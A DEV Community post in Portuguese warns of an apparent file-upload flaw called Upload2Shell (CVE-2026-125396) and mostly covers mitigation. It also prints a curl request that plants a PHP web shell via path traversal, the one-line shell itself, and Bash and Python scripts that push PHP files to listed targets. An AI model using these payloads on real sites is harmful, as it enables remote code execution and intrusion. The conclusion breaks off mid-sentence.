DEV Community

LeoJulieta
LeoJulieta

Posted on

Upload2Shell (CVE‑2026‑125396): Exploit massivo em 24h

🚨 Alerta crítica: Exploit “Upload2Shell” (CVE‑2026‑125396) está sendo usado em ataques massivos

Introdução

Em menos de 24 h a vulnerabilidade Upload2Shell explodiu no Hacker News, acumulando mais de 30 votos e dezenas de comentários. As buscas por CVE‑2026‑125396, upload2shell exploit e file upload bypass dispararam nos EUA, Índia e Brasil, indicando que milhares de sites ainda vulneráveis estão sendo alvejados. Se a sua aplicação usa bibliotecas de upload desatualizadas, você está no radar dos atacantes e precisa agir agora.

Por que isso importa agora

Motivo Impacto
Exploração ativa – Repositórios no GitHub já disponibilizam scripts prontos para exploração. Ataques podem ser reproduzidos em minutos.
Superfície de ataque massiva – FineUploader ≤ 5.13.2, Dropzone.js ≤ 5.9.3, Plupload ≤ 3.6.5 e jQuery‑File‑Upload ≤ 9.34.0 estão em mais de 1,2 milhão de sites. Cada ponto vulnerável pode virar um ponto de entrada para ransomware ou botnets.
Pressão regulatória – GDPR, LGPD e CCPA exigem notificação em até 72 h. Multas de até US$ 20 mi podem ser evitadas com resposta rápida.
Custo de remediação – SANS estima US$ 350 k por incidente. Reduzir o tempo de detecção corta custos drasticamente.

Como o exploit funciona

  1. Bypass de validação de MIME – O servidor aceita o cabeçalho Content‑Type enviado pelo cliente sem re‑verificar o conteúdo real.
  2. Path Traversal em diretórios temporários – Funções como move_uploaded_file (PHP) ou fs.rename (Node) não sanitizam sequências ../ no nome do arquivo.

Combinando as duas falhas, o atacante envia um arquivo PHP (ou JSP/ASPX) com Content‑Type: image/png e nome ../../../../var/www/html/shell.php. O arquivo é salvo fora da pasta de uploads e passa a ser executável.

Exemplo de requisição maliciosa (curl)

curl -X POST https://exemplo.com/upload \
  -F "file=@shell.php;type=image/png" \
  -F "filename=../../../../var/www/html/shell.php"
Enter fullscreen mode Exit fullscreen mode

O script shell.php pode conter:

<?php system($_GET['cmd']); ?>
Enter fullscreen mode Exit fullscreen mode

Depois de enviado, o atacante executa comandos via https://exemplo.com/shell.php?cmd=id.

Detecção rápida – Scripts práticos

Bash + curl (verifica se o upload aceita bypass)

#!/usr/bin/env bash
URL=$1
PAYLOAD=$(mktemp).php
echo "<?php echo 'pwned'; ?>" > $PAYLOAD
curl -s -o /dev/null -w "%{http_code}" -F "file=@$PAYLOAD;type=image/png" -F "filename=../../../../tmp/pwn.php" $URL
rm $PAYLOAD
Enter fullscreen mode Exit fullscreen mode

Retorno 200 indica que o servidor aceitou o arquivo malicioso.

Python (scanner para múltiplos alvos)

import requests, sys, os, random, string

def rand_name():
    return ''.join(random.choice(string.ascii_letters) for _ in range(8)) + '.php'

def test(url):
    fname = rand_name()
    payload = f"<?php echo '{fname}'; ?>"
    files = {'file': (fname, payload, 'image/png')}
    data = {'filename': f'../../../../tmp/{fname}'}
    r = requests.post(url, files=files, data=data, timeout=5)
    return r.status_code == 200

if __name__ == '__main__':
    for target in sys.stdin:
        target = target.strip()
        print(target, 'vulnerable' if test(target) else 'safe')
Enter fullscreen mode Exit fullscreen mode

Execute: cat lista.txt | python3 upload2shell_scanner.py.

Mitigação imediata (passo a passo)

  1. Bloquear uploads de arquivos executáveis – Configure a lista de extensões permitidas (ex.: jpg|jpeg|png|gif) e rejeite tudo o que não estiver na lista.
  2. Validar MIME no servidor – Use bibliotecas que leem o conteúdo real (ex.: finfo_open no PHP, file-type no Node) e compare com o cabeçalho.
  3. Sanitizar nomes de arquivos – Remova ../, caracteres nulos e limite o comprimento a 255 bytes.
  4. Salvar arquivos fora do diretório web – Use um diretório fora do document_root e sirva-os via proxy ou CDN.
  5. Aplicar políticas de CSP – Impedir a execução de scripts carregados dinamicamente.
  6. Atualizar bibliotecas – Migre para FineUploader ≥ 5.14, Dropzone ≥ 6.0, Plupload ≥ 3.7 ou jQuery‑File‑Upload ≥ 10.0.

Exemplo de correção em PHP (sanitização + verificação de MIME)

$allowed = ['image/jpeg','image/png','image/gif'];
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime  = $finfo->file($_FILES['file']['tmp_name']);

if (!in_array($mime,$allowed)) {
    die('Tipo de arquivo não permitido');
}

$clean = preg_replace('#[^a-zA-Z0-9._-]#','_',basename($_FILES['file']['name']));
$dest  = '/var/www/uploads/'.uniqid().'_'.$clean;
move_uploaded_file($_FILES['file']['tmp_name'],$dest);
Enter fullscreen mode Exit fullscreen mode

Integração CI/CD – Automatizando a defesa

Ferramenta Como integrar
GitHub Actions Adicione um job que execute o scanner Python contra o ambiente de staging após o deploy.
GitLab CI Use o script Bash no estágio test e falhe o pipeline se algum endpoint retornar 200.
Jenkins Crie um “post‑build action” que invoque o scanner e publique o relatório em JUnit.
Trivy / Grype Inclua a verificação de versões vulneráveis das bibliotecas de upload nas imagens Docker.

Exemplo de job no GitHub Actions

name: Scan Upload2Shell
on: [push, pull_request]
jobs:
  upload2shell-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Install requirements
        run: pip install -r requirements.txt
      - name: Run scanner
        run: python3 upload2shell_scanner.py < urls.txt | tee result.txt
      - name: Fail if vulnerable
        run: grep -q 'vulnerable' result.txt && exit 1 || exit 0
Enter fullscreen mode Exit fullscreen mode

Playbook pronto para SOAR (Cortex XSOAR)

  1. Trigger – Alerta de IDS ou WAF indicando file upload bypass.
  2. Enrichment – Executar o script Bash contra o endpoint suspeito.
  3. Decision –
    • Se vulnerável → criar incidente, bloquear IP, iniciar rollback de código.
    • Se seguro → registrar como “false positive”.
  4. Response – Aplicar patch de atualização de biblioteca, limpar diretórios temporários, forçar mudança de credenciais.
  5. Post‑mortem – Gerar relatório com métricas de tempo de detecção e contenção.

Checklist de contenção (para usar imediatamente)

  • [ ] Verificar logs de upload nos últimos 48 h em busca de extensões suspeitas.
  • [ ] Bloquear temporariamente a rota /upload via WAF até a correção ser aplicada.
  • [ ] Aplicar hot‑fix de sanitização de nomes de arquivos.
  • [ ] Atualizar todas as dependências de upload para versões seguras.
  • [ ] Notificar o time de compliance para registro dentro do prazo de 72 h.

Conclusão

A vulnerabilidade Upload2Shell (CVE‑2026‑125396) já está sendo explorada em escala global. A combinação de bypass de MIME e path traversal permite que invasores transformem um simples upload em um ponto de execução de código remoto. A mitigação rápida – validação rígida, sanitização, isolamento de arquivos e atualização de bibliotecas – é essencial para evitar prejuízos financeiros e danos à reputação. Use os scripts de detecção, automatize a verificação nos pipelines CI/CD e implemente o playbook de SOAR para garantir que sua equipe responda em minutos, não em


Herramienta mencionada: GitHub Copilot

Top comments (0)